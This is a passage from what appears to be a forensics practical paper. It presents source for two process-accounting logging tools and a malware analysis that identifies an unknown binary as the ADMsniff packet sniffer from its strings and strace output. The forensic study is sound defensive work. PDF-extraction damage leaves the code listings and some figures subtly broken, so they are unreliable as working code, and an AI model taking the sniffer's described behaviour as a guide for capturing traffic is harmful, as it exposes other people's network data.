We have previously noted, however, that there are some problems with process accounting data. One of those problems is the fact that the log exists only on the host system. The logs are therefore vulnerable to deletion or modification by an attacker. To address this issue, we were inspired by a tool called loginlog<sup>8</sup>, written by <u>mark@netsys.com</u> in 1994. This tool constantly watches the wtmp file and when it sees a new entry, sends that information to syslog. At the time this tool was written attackers were regularly running tools to erase their tracks including deleting entries in the wtmp file. We wanted to create a tool that would do something similar for process accounting records, so we have written a tool called acctlog which constantly watches the current process accounting log and when a new entry is written, sends a message to syslog. We include the source code in Appendix A and will make it available on the Internet when we can find a web site to serve as its permanent home.

#### Presentation

The version of lastcomm that we have been examining has a number of different options for displaying output. We have noted the time-machine format in our testing and this has worked out to be a reasonable format for storing and manipulating the process accounting records. We like the basic format of the output of mactime, also part of tct-1.09, so we have created another perl script (which we are calling acctime.pl, the code is included in Appendix B and, as with acctlog, we hope to have this available from a web site on the Internet in the near future) to output the process accounting data in a similar format. We anticipate at some point creating a script to produce a unified timeline combining the output of mactime and our new script. An example of the output of our script is shown below.

jac@newmozart[509]	./acct	time.pl	-f pacct-5.	.7.tm "Sep	15 13:13"	2002-09-15131	8
2002-09-15 13:13:47	<>	root	other	mount		0.02	(2110027 - 0)
2002-09-15 13:13:48	<>	root	other	mount		0.13	(2110028-0)
	<>	root	other	mount		0.03	(2110028-1)
	<>	root	other	mount		0.05	(2110028-2)
	<>	root	other	mount		0.04	(2110028-3)
2002-09-15 13:13:50	<>	root	other	mount		0.11	(2110030-0)
	$\diamond$	root	other	mount		0.04	(2110030-1)
	<>	root	other	mount		0.04	(2110030-2)
	<>	root	other	mount		0.04	(2110030-3)
	$\langle \rangle$	root	other	sh		590.56	(2109440-0)
A	— >	root	other	cfexecd		590.56	(2109440 - 1)
2002-09-15 13:13:51	>	root	other	cfagent		587.28	(2109444-0)
2002-09-15 13:14:45	<	jac	sysadmin	ls	0,3	3 1.37	(2110085-0)
2002-09-15 13:14:46	>	jac	sysadmin	ls	0,3	3 1.37	(2110085-0)
2002-09-15 13:16:04	<>	root	other	netstat		0.03	(2110164-0)
	<>	root	other	ps		0.06	(2110164-1)

This example shows some, but not all, of the power of our script. First note that thanks to the perl module Date::Manip, we can specify start and end dates very flexibly. Also, note we output a date and time stamp (we use strftime to format

<sup>&</sup>lt;sup>8</sup> Source can be found at <u>http://www.ussrback.com/UNIX/IDS/loginlog.c.gz</u>,

http://www.nmrc.org/files/sunix/loginlog.c.gz, and http://www.ja.net/CERT/Software/loginlog/loginlog.c, among many others, the version at the CERIAS site appears to be an older version ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/loginlog/loginlog.c

this, so the format can be changed relatively easily), the next two characters signify the start (<) and end (>) time of the process. If the process took less than one second to execute you see both together. Next, we see the username and group name that the process was executed under (give the -n switch on the command line and it will leave these as numeric values, -p allows specification of an alternate passwd file, -g allows specification of an alternate group file). After this, we see the process name, followed by tty, elapsed time and a pseudo-processid so that we can match up process starts with the corresponding process ends. The script also provides for a -u switch to select only the process executed by a particular user. The passwd and group lookups use the same routines (written by Steve Romig over ten years ago, thanks Steve) that are included in the tct-1.09 distribution (though we have created our own paths.pl file which is also shown in Appendix B).

#### Conclusions

We have taken this opportunity to examine an often-overlooked avenue for collecting forensic data, the process accounting records. We performed tests on variants of two major operating systems (SunOS 5, a.k.a Solaris, and 2 relatively closely related Linux distributions, SuSE and Red Hat) and determined that the tool from The Coroner's Toolkit provided essentially the same data as the native tools for examining the process accounting data. This data can be quite useful for the investigator in trying to build a timeline of an event and can help fill in some of the gaps in MACTime analysis. The analysis can be run on a system image or run from a CD-ROM with the results sent off the server. Running the tool may result in additional data being appended to the process accounting log, but will not alter old data from the event being investigated. We also introduced another tool that can be used to send much of this accounting data off the server to a central log server in real-time. We have finally provided another new tool that formats the process accounting data in a format similar to the popular mactime tool and we have begun considering how both types of data might be combined in one more comprehensive overall timeline for investigation of an event.

#### **Additional Information**

- Loganalysis mailing list <a href="https://lists.shmoo.com/mailman/listinfo/loganalysis">https://lists.shmoo.com/mailman/listinfo/loganalysis</a>
- Loganalysis web site http://www.counterpane.com/log-analysis.html
- Garfinkel & Spafford, Practical Unix & Internet Security, O'Reilly, 1996.
- Mandia & Prosise, <u>Incident Response: Investigating Computer Crime</u>, Osborne/McGraw-Hill, 2002.
- Kruse & Heiser, <u>Computer Forensics: Incident Response Essentials</u>, Addison-Wesley, 2002.
- Casey, editor, <u>Handbook of Computer Crime Investigation: Forensic Tools</u> <u>and Technology</u>, Academic Press, 2002.
- The Coroner's Toolkit http://www.porcupine.org/forensics/tct.html

- Loginlog <u>http://www.ussrback.com/UNIX/IDS/loginlog.c.gz</u>, <u>http://www.nmrc.org/files/sunix/loginlog.c.gz</u>, and <u>http://www.ja.net/CERT/Software/loginlog/loginlog.c</u>
- Old version of loginlog Note this is a good site for many useful security tools. ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/loginlog/loginlog.c

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#### Appendix A – acctlog.c

```
/*
 * $RCSfile: acctlog.c,v $
 * $Revision: 1.2 $
 * Author: Jim Clausing <clausing@computer.org>
 * $Date: 2002/09/15 19:37:36 $
                 This program was inspired by loginlog v1.7 by mark@netsys.com.
 * Purpose:
                 The purpose of this program is to monitor the process
                 accounting file (acct or pacct) and when new entries are
                 written to it, send the data to syslog.
 * $Log: acctlog.c,v $
 * Revision 1.2 2002/09/15 19:37:36 jac
 * Add RCS stuff to header. --jac
 */
#include
             "sys defs.h"
                                  /* borrowed from Wietse's lastcomm.c port */
#ifdef USE SYSMACROS H
#include <sys/sysmacros.h>
#endif
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/acct.h>
#include <stdio.h>
#include <ctype.h>
#include <errno.h>
#include 
#include <syslog.h>
#include <fcntl.h>
#include <string.h>
#include "struct.h"
#include <utmp.h>
#include <unistd.h>
#define FACILITY
                     LOG LOCALO
#define SEVERITY LOG DEBUG
                 ( (double) AHZ)
#define AC HZ
void reopen(char *, int *, struct stat *, struct stat *);
char *flagbits(int);
char *getdev(dev t);
main(int argc, char **argv) {
    register int n;
    char *progname;
    struct acct acct_entry;
    struct stat old_stat, curr_stat;
                 fd;
    int
                  size;
    off t
                  t;
ch, rc, end;
    time_t
    int
    char
                  *acct file;
                   time = 0;
    int
                  format[160];
    char
```

```
start time[20], end time[20];
    char
#ifndef HAVE CFTIME
                 *t1:
    struct tm
#endif
    (void)close(0);
    if (fork()) exit(0);
                          /* orphan ourselves and let init take us */
    if ((fd = open( PATH ACCT, O RDONLY|O LARGEFILE)) != 0 ||
                stat(_PATH_ACCT, &old_stat)) {
        perror( PATH ACCT);
        exit(1);
    }
    (void)close(1);
    (void) close(2);
    if ((progname = (char *)strrchr(argv[0], '/')) == NULL) { /* kill path */
        progname = argv[0];
    } else {
        progname++;
    }
    format[0] = ' \setminus 0';
    (void) strcat(format, "command = %s, flags = %s, uid = %lu, gid = %lu, ");
    (void) strcat(format, "tty = %s, start = %s, end = %s, user = %8.3f, ");
    (void) strcat(format, "system = %8.3f, elapsed = %8.3f");
#if defined(HAVE_EXIT_STATS) || defined(SUNOS5)
    (void) strcat(format, ", exit = %d");
#endif
    (void) strcat(format, "\n");
    (void) openlog(progname, LOG NDELAY|LOG PID, FACILITY);
    (void)lseek(fd,(off t)0,SEEK END); /* seek to end of pacct file */
    for (;;) {
        sleep(10);
        (void)memset((void *)&curr stat,0,sizeof(struct stat));
        stat( PATH ACCT, &curr stat);
        if (curr stat.st ino != old stat.st ino) {
           reopen( PATH ACCT, &fd, &old stat, &curr stat);
        }
        while ((n = read (fd, &acct entry, sizeof(struct acct))) > 0) {
          end = acct entry.ac btime + (time t) ((acct entry.ac etime)/AC HZ);
#ifdef HAVE CFTIME
           rc = cftime(start_time,"%Y-%m-%d %H:%M:%S",
                (const time_t *)&acct_entry.ac_btime);
           rc = cftime(end time,"%Y-%m-%d %H:%M:%S",(const time t *)&end);
#else
           rc = (int) strftime(start time, "Y-%m-%d %H:%M:%S",
               localtime((const time t *)&acct entry.ac btime));
           rc = (int) strftime(end_time,"%Y-%m-%d %H:%M:%S",
            ____localtime((const time_t *)&end));
#endif
         syslog (SEVERITY, format,
                acct entry.ac comm,
                flagbits(acct entry.ac flag),
                (unsigned long) acct_entry.ac_uid,
                (unsigned long) acct_entry.ac_gid,
                getdev(acct entry.ac tty),
                start time, end time,
                acct_entry.ac_utime/AC_HZ,
                acct entry.ac stime/AC HZ,
                acct entry.ac etime/AC HZ
#if defined(HAVE EXIT STATS)
                , (unsigned long) acct entry.ac exitcode
#elsif defined(SUNOS5)
```

```
, (unsigned long) acct entry.ac stat
#endif
          );
        }
   }
}
void reopen (s,fd,old,curr)
   char *s;
   int *fd;
   struct stat *old, *curr;
{
   struct stat new_stat;
    (void)close(*fd);
    if ((*fd = open(_PATH_ACCT,O_RDONLY|O_LARGEFILE)) != 0
                stat(_PATH_ACCT, &new_stat)) {
        perror( PATH ACCT);
        exit(1);
    }
    (void)memcpy(old,&new stat,sizeof(struct acct));
}
 * Borrowed from lastcomm.c from tct-1.09
 */
char *flagbits(f)
   register int f;
{
   static char flags[20] = "-";
   char *p;
#define BIT(flag, ch) if (f & flag) *p++ = ch
   p = flags + 1;
   BIT(ASU, 'S');
   BIT(AFORK, 'F');
#ifdef ACOMPAT
   BIT (ACOMPAT, 'C');
#endif
#ifdef ACORE
  BIT(ACORE, 'D');
#endif
#ifdef AXSIG
   BIT(AXSIG, 'X');
#endif
   *p = '\0';
   return (flags);
}
^{\star} Also borrowed and slightly modified from lastcomm.c in tct-1.09
 ^{\star} We use / rather than , to separate the major & minor device numbers
 */
char *getdev(dev)
   dev t dev;
{
   static char lastname[BUFSIZ];
    if (dev == NODEV)
```

```
return ("-/-");
sprintf(lastname, "%d/%d", (int) major(dev), (int) minor(dev));
return(lastname);
}
```

Note, we have added a line to the sys defs.h, struct.h taken from tct-1.09.

```
jac@newmozart[507] /usr/local/bin/diff -u ../tct-1.09/src/lastcomm/sys_defs.h sys_defs.h
--- ../tct/tct-1.09/src/lastcomm/sys_defs.h Sun Jul 30 19:39:20 2000
+++ sys_defs.h Sat Aug 24 15:53:39 2002
@@ -38,6 +38,7 @@
#define HAVE_COMP_BLOCK_RW_COUNT
#define HAVE_COMP_CHAR_IO_COUNT
#define HAVE_COMP_MEMORY_USAGE
+#define HAVE_CFTIME
#endif
#ifdef SUNOS4
```

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#### Appendix B – accttime.pl

```
#!/usr/local/bin/perl
# $RCSfile: accttime.pl,v $
# $Revision: 1.2 $
# Author: Jim Clausing <clausing@computer.org>
# $Date: 2002/09/15 20:40:38 $
                Take time-machine format lastcomm output and
# Purpose:
                present it in a format similar to what mactime
#
#
                does with MACTimes from the body file.
#
# Switches & arguments:
                        - usage message
       -h
#
#
        -n
                        - numeric uid/gid
                       - debug
       -d
#
       -f file
                        - acct/pacct file to use, otherwise stdin
#
                       - alternate group file to use (default /etc/group)
        -g grpfile
#
        -p pwdfile - alternat passwd file to use (default /etc/passwd)
-u user - select records of a particular user (use numeric
#
                        - select records of a particular user (use numeric with -
#
        -u user
n)#
        time [time2] - optional start and end time to search
#
# $Log: accttime.pl,v $
# Revision 1.2 2002/09/15 20:40:38 jac
# Put RCS stuff in headers
#
#
use POSIX qw(strftime);
use Getopt::Std;
use Date::Manip;
require "pass.cache.pl";
debug = 0;
$usage = " usage: $0 [-hnd] [-f file] [-g grpfile] [-p pwdfile] [-u user] [time
[time2]]\n";
getopts('f:g:hnp:u:') || die $usage;
die $usage if ($opt h||$#ARGV>1);
$debug = 1 if ($opt d);
select(STDOUT); $|=1;
$PASSWD = ($opt p?$opt p:"/etc/passwd");
$GROUP = ($opt g?$opt g:"/etc/group");
if (!$opt n) {
 &'load passwd info(0,$PASSWD);
  &'load_group_info(0,$GROUP);
}
if ($opt f) {
 close(STDIN);
 open(STDIN, "$opt f");
}
$time one = shift @ARGV if ($#ARGV>=0);
$time two = shift @ARGV if ($#ARGV>=0);
$time one = &ParseDate($time one);
$time two = &ParseDate($time_two);
```

```
if (defined($time_one)) {
 $start seconds = &UnixDate($time one,"%s");
} else {
  $start_seconds = 0;
if (defined($time two)) {
 $end seconds = &UnixDate($time two, "%s");
} else {
 $end seconds = time();
}
for $i ( 0..2 ) {
 $junk = <STDIN>;
}
@names = split /\|/,$junk;
push @names,"end_time";
while (<STDIN>) {
 $k++;
 print "." if ($k%20 == 0 && !opt d);
  $newrec = { };
 @vals = split /\|/;
  for $i ( 0 .. $#vals ) {
    $newrec->{$names[$i]} = $vals[$i];
 if ($opt u) {
    flag = 0;
    $flag = 1 if ($opt n && ($opt u == $newrec->{uid}));
    $flag = 1 if (!$opt n && ($opt u eq $uid2names{$newrec->{uid}}));
    next if !$flag;
  $newrec->{end time} = int($newrec->{start_time})
        +$newrec->{elapsed time});
  $newrec->{pseudoid} = substr($newrec->{start time},-7,7)
        . '-' . base62($#{$starts{$newrec->{start_time}}} + 1);
  push @records, $newrec;
  push @{$starts{$newrec->{start time}}}, $newrec;
  push @{$ends{$newrec->{end_time}}}, $newrec;
  $time exists{$newrec->{start time}} = 1;
  $time exists{$newrec->{end time}} = 1;
}
@list = sort( keys %starts );
for $i ( sort keys %time exists ) {
 next if $i < $start seconds;</pre>
  exit if $i > $end seconds;
  $date string = strftime("%Y-%m-%d %H:%M:%S",localtime($i));
  if (defined($starts{$i})) {
    for $j ( 0..$#{$starts{$i}} ) {
      r = \{0 \{ \text{starts} \{ i \} \};
      $c = ($r->[$j]->{elapsed time}<1.0)?'>':' ';
      if (!$opt n) {
        printf "%-21s <%s %-8s %-8s %-16s %-6s %8.2f (%-8s)\n",
          $date string,$c,$uid2names{$r->[$j]->{uid}},
          $gid2names{$r->[$j]->{gid}}, $r->[$j]->{command},
          <pr>>[$j]->{tty},$r->[$j]->{elapsed_time},$r->[$j]->{pseudoid};
      } else {
        printf "%-21s <%s %-8d %-8d %-16s %-6s %8.2f (%-8s)\n",
          $date string,$c,$r->[$j]->{uid},
          $r->[$j]->{gid}, $r->[$j]->{command},
          $r->[$j]->{tty},$r->[$j]->{elapsed time},$r->[$j]->{pseudoid};
```

```
$date_string = " ";
    }
  }
 if (defined($ends{$i})) {
    for $j ( 0..$#{$ends{$i}} ) {
      r = \\{ \\
      next if (\hat{r}) = \{ e \mid s \neq 1.0 \};
      if (!$opt_n) {
       printf "%-21s > %-8s %-8s %-16s %-6s %8.2f (%-8s)\n",
          $date string,$uid2names{$r->[$j]->{uid}},
          $gid2names{$r->[$j]->{gid}}, $r->[$j]->{command},
          <pr>>[$j]->{tty},$r->[$j]->{elapsed_time},$r->[$j]->{pseudoid};
      } else {
        printf "%-21s > %-8d %-8d %-16s %-6s %8.2f (%-8s)\n",
          $date string,$r->[$j]->{uid},
          $r->[$j]->{gid}, $r->[$j]->{command},
          <pr>>[$j]->{tty},$r->[$j]->{elapsed_time},$r->[$j]->{pseudoid};
      }
      $date_string = " ";
    }
  }
}
sub base62 {
 my @parm = @_;
 if ($parm[0] <= 9) {
   $rc = $parm[0];
  } elsif ($parm[0] > 9 && $parm[0] <= 35) {
    rc = chr(ord('a') + parm[0] - 10);
  } else {
    rc = chr(ord('A') + parm[0] - 36);
  }
 return $rc
```

And our version of paths.pl

# If you add anything to this file, add it to reconfig!
#
# No format required, try to keep things alphabetical at top, platform
# specific next, then our internal TCT commands last for sheer readability.
#
1;

# Part 2 – Analyze an Unknown Binary

# **Binary Details**

#### Name

We have been given a zip file, sn.zip, which contains an unknown program. Unfortunately, the process of zip-ing the file for distribution has cost us some important data, as we shall see below. The zip archive contains two files, sn.datand sn.md5. The name of the file does not provide us any useful information; the .dat extension is probably intended as misinformation and it is too soon to tell if sn is meaningful. Next, we shall run the file(1) command and see if this yields any useful information.

```
jac@newmozart[514] file sn.*
sn.dat: ELF 32-bit LSB executable 80386 Version 1, statically
linked, stripped
sn.md5: ascii text
sn.zip: ZIP archive
```

This does provide some useful information, we now know that this is an x86 executable binary, so we shall eventually move further analysis from our Sparc Solaris machine to an x86 Linux machine, but we shall gather a little more data before we do that. We further note that the binary is statically linked, so it won't rely on any shared libraries being present on the machine on which it is eventually installed and it is stripped, so symbol table information has been removed. We shall return to this as we analyze the binary.

#### File/MACTime information

We shall use some of the tools that we discussed in the course to gather the MACTime information.

We now have a bit more information, the sn.dat file, was modified and accessed at 09:29:58 on 11 April 2002 (14:29:58 GMT if the clock on the original victim machine was accurate, the analysis machine is configured for US/Eastern

timezone). 19 April was when the zip archive was downloaded from the GIAC web site and unzipped it on the Solaris analysis machine.

#### File ownership

The files have user and group ownership by the id that downloaded and unzipped the file. The permissions also appear to be based on the umask of the user who unzipped the file. This is unfortunate, it appears that the process of moving the data from the victim machine to the analysis machine has cost us some critical data. We shall examine the zip file a bit more to see if there is anymore useful information in the archive. To accomplish this we execute the zipinfo(1) command on the archive.

```
jac@newmozart[525] zipinfo -v sn.zip
Archive: sn.zip 175185 bytes 2 files
End-of-central-directory record:
 _____
 Actual offset of end-of-central-dir record: 175163 (0002AC3Bh)
Expected offset of end-of-central-dir record: 175163 (0002AC3Bh)
  (based on the length of the central directory and its expected offset)
 This zipfile constitutes the sole disk of a single-part archive; its
  central directory contains 2 entries. The central directory is 104
  (00000068h) bytes long, and its (expected) offset in bytes from the
 beginning of the zipfile is 175059 (0002ABD3h).
  There is no zipfile comment.
Central directory entry #0:
_____
 sn.dat
 offset of local header from start of archive:0 (0000000h) bytesfile system or operating system of origin:MS-DOS, OS/2 or NT FAT
 version of encoding software:
                                                     2.0
 minimum file system compatibility required: 2.0
MS-DOS, OS/2 or NT FAT
 minimum software version required to extract:
                                                     2.0
 compression method:
                                                      deflated
 compression sub-type (deflation):
                                                      normal
 file security status:
                                                      not encrypted
 extended local header:
                                                      no
 file last modified on (DOS date/time):
                                                     2002 Apr 11 09:29:58
  32-bit CRC value (hex):
                                                      d80a22be
  compressed size:
                                                      174950 bytes
  uncompressed size:
                                                      399124 bytes
  length of filename:
                                                      6 characters
  length of extra field:
                                                      0 bytes
  length of file comment:
                                                      0 characters
  disk number on which file begins:
                                                      disk 1
  apparent file type:
                                                     binary
```

non-MSDOS external file attributes: MS-DOS file attributes (20 hex):	81B600 hex arc
MS DOS TITE accitibaces (20 mex).	alc
There is no file comment.	
Central directory entry #1:	. <b>S</b> °
sn.md5	200
offset of local header from start of archive:	174986 (0002AB8Ah) bytes
file system or operating system of origin: version of encoding software:	MS-DOS, OS/2 or NT FAT 2.0
minimum file system compatibility required:	MS-DOS, OS/2 or NT FAT
minimum software version required to extract:	1.0
compression method:	none (stored)
file security status: extended local header:	not encrypted
file last modified on (DOS date/time):	2002 Apr 11 09:29:52
32-bit CRC value (hex):	0b9f9462
compressed size:	37 bytes
uncompressed size:	37 bytes
length of filename:	6 characters
length of extra field:	0 bytes
length of file comment:	0 characters
disk number on which file begins:	disk 1
apparent file type:	text
non-MSDOS external file attributes:	81B600 hex
MS-DOS file attributes (20 hex):	arc
There is no file comment.	

This tells us that the archive was actually created on a Windows machine (see file system or operating system of origin) and not on the machine where the actual compromise took place (since as we will show below that the binary is actually a Linux binary and not a Windows binary). We thus conclude the access and modification times from the MACTime section above are probably the time when the binary was copied to the Windows machine where the zip archive was created.

#### File size

As we can see from both the *zipinfo* output and the MACTime information above, the binary in question is 399124 bytes in size.

#### MD5 hash

In order to ensure that we have correctly extracted the file, we will generate an MD5 hash of the file and compare that with the MD5 hash contained in the zip archive.

```
jac@newmozart[529] md5 sn.dat
MD5 (sn.dat) = 0e954f43fd73f56e812a7285f32e41d3
jac@newmozart[530] cat sn.md5
0e954f43fd73f56e812a7285f32e41d3 sn
```

The hashes match, so our extraction was correct.

#### Keywords

Next, we examine the binary for keywords and interesting strings. This is accomplished by running the strings(1) command on the binary. Since this is still the preliminary examination of the binary and we are still working on a Solaris analysis machine, we will run the stock Solaris version of strings first. We shall examine the results of that in a moment. Then, just for the heck of it, since we also have the GNU version of strings (version 2.11.2) on our analysis machine, we will run it as well. The two versions provide us with roughly the same information. We will then re-run both versions with the -a switch to examine the whole binary, not just the initialized and loaded sections (see man page for strings(1)). This provides us with a key piece of additional information. The extracts below is from the output of the Solaris version run with the -a switch. We shall address some of the important features as we encounter them.

```
--=[ %s:%i -->
%s:%i ]=--
DUMP STRUCT = NUMBER %i
*sip -> %s*
*sport -> %i*
*dip -> %s*
*dport -> %i*
*data -> %s
* _ _ _ _ *
\* The END
priv 1.0
ADMsniff %s <device> [HEADERSIZE] [DEBUG]
ex : admsniff le0
.. ooOO The ADM Crew OOoo..
cant open pcap device :<
init pcap : Unknown device type!
ADMsniff %s in libpcap we trust !
credits: ADM, mel , ^pretty^ for the mail she sent me
The l0qz
@(#) $Header: pcap-linux.c,v 1.15 97/10/02 22:39:37 leres Exp $ (LBL)
@(#) $Header: pcap.c,v 1.29 98/07/12 13:15:39 leres Exp $ (LBL)
@(#) $Header: savefile.c,v 1.37 97/10/15 21:58:58 leres Exp $ (LBL)
@(#) $Header: bpf filter.c,v 1.33 97/04/26 13:37:18 leres Exp $ (LBL)
/lib/
/usr/lib/
undefined symbol:
```

Right at the beginning, we have a few very important pieces of data. We see what appear to be credits in the program. The program purports to be ADMsniff, a libpcap-based packet sniffer available from a number web sites on the internet (see program identification section below). In addition, the pcap-linux header string is an indicator that the binary in question is a Linux binary. At this point, we also surmise that the sn part of the name was actually a clue that the binary is a sniffer, but of course, more analysis is still required to verify this. These strings could be meant to mislead, or the program could have been modified from its original purpose.

```
linux socket: %s
linux SIOCSIFFLAGS: %s
```

More indicators that this is a Linux binary.

```
/etc/ld.so.cache
  search cache=%s
ld.so-1.7.0
glibc-ld.so.cache1.1
```

Still more indication that this is a Linux binary. This could also provide more information on which version of Linux the binary was built on.

GCC:(GNU)2.9620000731(Red Hat Linux7.12.96-97)GCC:(GNU)2.9620000731(Red Hat Linux7.12.96-97)GCC:(GNU)2.9620000731(Red Hat Linux7.12.96-98)GCC:(GNU)2.9620000731(Red Hat Linux7.12.96-98)GCC:(GNU)2.9620000731(Red Hat Linux7.12.96-98)

Here we have a very significant piece of information. The binary and/or some of the library routines that were statically linked into the binary were compiled by gcc version 2.96 on a Red Hat Linux 7.x system (the version of gcc that ships with Red Hat 7.2 on CD-ROM is 2.96 and matches the '-98' signatures above, see below in the program identification section). This seems to confirm definitively that this is a Linux binary. For the remainder of our analysis we will move to a Linux machine.

# **Program Description**

Judging from the strings in the binary, this would appear to be ADMsniff, a libpcapbased packet sniffer. Also, as noted above, the process of packaging the binary up for distribution to us has removed the key MACTime data on when the binary was last used on the victim machine. We shall now analyze the binary, including executing it on a machine on an isolated network, to attempt to determine just what it does.

The machine used for the rest of the analysis is a laptop running Red Hat 7.2 current on all patches through mid-May 2002. We begin the analysis of the

runtime characteristics, by using the strace(1) command to trace the system calls made by the binary as it executes.

```
jac@Gazelle[501]$ strace sn.dat
execve("./sn.dat", ["./sn.dat"], [/* 46 vars */]) = 0
fcntl64(0, 0x1, 0, 0xbffff7a4)
                                 = 0
fcntl64(0x1, 0x1, 0, 0xbffff7a4)
                                      = 0
fcntl64(0x2, 0x1, 0, 0xbffff7a4)
                                      = 0
uname({sys="Linux", node="Gazelle", ...}) = 0
                                       = 500
qeteuid32()
getuid32()
                                       = 500
                                       = 500
getegid32()
                                       = 500
getgid32()
brk(0)
                                       = 0x80ab488
brk(0x80ab4a8)
                                       = 0x80ab4a8
brk(0x80ac000)
                                        = 0x80ac000
fstat64(1, {st mode=S IFCHR|0620, st rdev=makedev(136, 6), ...}) = 0
old mmap(NULL, 4096, PROT READ|PROT WRITE, MAP PRIVATE|MAP ANONYMOUS, -1,
0) = 0 \times 4000000
write(1, "ADMsniff priv 1.0 <device> [HEAD"..., 49ADMsniff priv 1.0
<device> [HEADERSIZE] [DEBUG]
) = 49
write(1, "ex : admsniff le0\n", 20ex : admsniff le0
) = 20
write(1, " ...ooOO The ADM Crew OOoo.. \n", 29 ...ooOO The ADM Crew OOoo...
) = 29
munmap(0x4000000, 4096)
                                        = 0
 exit(-1)
                                        = ?
```

The binary almost immediately exited since it was missing a required commandline parameter. Fortunately, the authors were kind enough to tell us that the missing parameter was the interface to be sniffed (see bold text above). We will try again with the additional parameter.

```
jac@Gazelle[502]$ strace ./sn.dat eth0
execve("./sn.dat", ["./sn.dat", "eth0"], [/* 46 vars */]) = 0
fcntl64(0, 0x1, 0, 0xbffff794)
                                = 0
fcntl64(0x1, 0x1, 0, 0xbffff794)
                                      = 0
fcnt164(0x2, 0x1, 0, 0xbffff794)
                                      = 0
uname({sys="Linux", node="Gazelle", ...}) = 0
geteuid32()
                                       = 500
getuid32()
                                       = 500
getegid32()
                                       = 500
getgid32()
                                       = 500
brk(0)
                                       = 0x80ab488
brk(0x80ab4a8)
                                       = 0x80ab4a8
brk(0x80ac000)
                                      = 0x80ac000
socket(PF INET, SOCK PACKET, 0x300 /* IPPROTO ??? */) = -1 EPERM
(Operation not permitted)
fstat64(1, {st mode=S IFCHR|0620, st rdev=makedev(136, 6), ...}) = 0
old mmap (NULL, 4096, PROT READ | PROT WRITE, MAP PRIVATE | MAP ANONYMOUS, -1,
0) = 0 \times 4000000
write(1, "cant open pcap device :<\n", 25cant open pcap device :<
) = 25
```

munmap(0x4000000, 4096)	= 0	
_exit(-1)	= ?	

This time we proceeded a little further, but also failed, this time because it could not open a raw socket. We shall try again, this time running a root, rather than an unprivileged user.

```
jac@Gazelle[506]$ sudo strace ./sn.dat eth0
execve("./sn.dat", ["./sn.dat", "eth0"], [/* 49 vars */]) = 0
fcnt164(0, 0x1, 0, 0xbfff754) = 0
fcntl64(0x1, 0x1, 0, 0xbffff754)
                                        = 0
fcntl64(0x2, 0x1, 0, 0xbffff754)
                                       = 0
uname({sys="Linux", node="Gazelle", ...}) = 0
                                        = 0
geteuid32()
                                        = 0
getuid32()
                                        = 0
getegid32()
getgid32()
                                        = 0
                                        = 0x80ab488
brk(0)
brk(0x80ab4a8)
                                        = 0x80ab4a8
brk(0x80ac000)
                                        = 0x80ac000
socket(PF INET, SOCK PACKET, 0x300 /* IPPROTO ??? */) = 3
bind(3, {sin family=AF INET, sin port=htons(25972),
sin addr=inet addr("104.48.0.0")}}, 16) = 0
ioctl(3, 0x8927, 0xbffff570)
                                       = 0
ioctl(3, 0x8921, 0xbffff570)
                                        = 0
ioctl(3, 0x8913, 0xbffff570)
ioctl(3, 0x8914, 0xbffff570)
                                        = 0
                                        = 0
fstat64(1, {st mode=S IFCHR|0620, st rdev=makedev(136, 6), ...}) = 0
old mmap(NULL, 4096, PROT READ PROT WRITE, MAP PRIVATE MAP ANONYMOUS, -1, 0)
= 0 \times 40000000
write(1, "ADMsniff priv 1.0 in libpcap we"..., 41ADMsniff priv 1.0 in
libpcap we trust !
) = 41
write(1, "credits: ADM, mel, ^pretty^ for"..., 54credits: ADM, mel,
^pretty^ forthe mail she sent me
) = 54
brk(0x80ad000)
                                        = 0x80ad000
open("The l0gz", O WRONLY|O CREAT|O TRUNC, 0666) = 4
recvfrom(3, "\1\0\f\314\314\0000\2438\244H\0Y\252\252\3\0\0\f\1"...,
1564, 0, {sin family=AF UNIX, path="eth0"}, [18]) = 103
ioctl(3, 0x8906, 0xbfff560)
                                        = 0
recvfrom(3, "\10\0 \302\366\25\10\0FC\312\334\10\0E\20\0d\354v@\0@\6"...,
1564, 0, {sin family=AF UNIX, path="eth0"}, [18]) = 114
ioctl(3, 0x8906, 0xbffff560)
                                        = 0
recvfrom(3, "\377\377\377\377\377\10\0 \302\366\25\10\6\0\1\10\0"...,
1564, 0, {sin family=AF UNIX, path="eth0"}, [18]) = 60
ioctl(3, 0x8906, 0xbffff560)
                                        = 0
```

Success! There are a few things to take note of here. First, we successfully opened the socket, next we did a bind to that socket. The interesting data are the port (25972) and IP address (104.84.0.0) used in the bind call. We will have to investigate this more closely in the forensic details section below. The next item of interest is that we have opened a file for writing named The logz in the current

directory (we shall return to this shortly). Finally, we note that the program is sniffing the traffic on the socket (see the recvfrom(3,...) call). It appears that the interface has been placed in promiscuous mode, since it appears to be reading data, while snort(8) running on the system simultaneously shows no traffic to or from the IP address of the virtual Red Hat machine, we'll run ifconfig(8) below to verify this (after killing snort, so that it does not skew the results). At this point, the binary in question appears to be passive, i.e., there has not, yet, been any attempt to initiate outbound communication. The file, The\_logz, is empty, probably because there was no significant traffic on the network during this run. We have not yet let the program run for an extended period of time to see if, after some period of time or some amount of data has been collected, the program attempts to "phone home." Running ifconfig and lsof(8), we see the following.

jac@Gazelle[516]\$	ifconfig	eth0			
eth0 Link end	Link encap:Ethernet HWaddr xx:xx:xx:xx:xx				
inet addr:10.18.2.35 Bcast:10.18.2.255 Mask:255.255.255.0					
UP BROADCAST NOTRAILERS RUNNING <b>PROMISC</b> MTU:1500 Metric:1					
RX packets:10723 errors:0 dropped:0 overruns:0 frame:0					
TX packets:5439 errors:0 dropped:0 overruns:0 carrier:0					
collisions:1 txqueuelen:100					
RX bytes:1470520 (1.4 Mb) TX bytes:484154 (472.8 Kb)					
Interrup	ot:9 Base	address:0	x9000		
jac@Gazelle[517]\$	lsof -p 3	194			
COMMAND PID USER	FD TY	PE DEVICE	SIZE	NODE	NAME
sn.dat 3194 root	cwd D	IR 3,7	1024	1978369	/home/jac/giac/gcfa
sn.dat 3194 root	rtd D	IR 3,6	1024	2	/
sn.dat 3194 root	txt R	EG 3,7	399124	1978371	/home/jac/giac/gcfa/sn.dat
sn.dat 3194 root	Ou C	HR 136,6		8	/dev/pts/6
sn.dat 3194 root	lu C	HR 136,6		8	/dev/pts/6
sn.dat 3194 root	2u C			8	/dev/pts/6
sn.dat 3194 root	3u so	ck 0,0		5917	can't identify protocol
sn.dat 3194 root					/home/jac/giac/gcfa/The_10gz

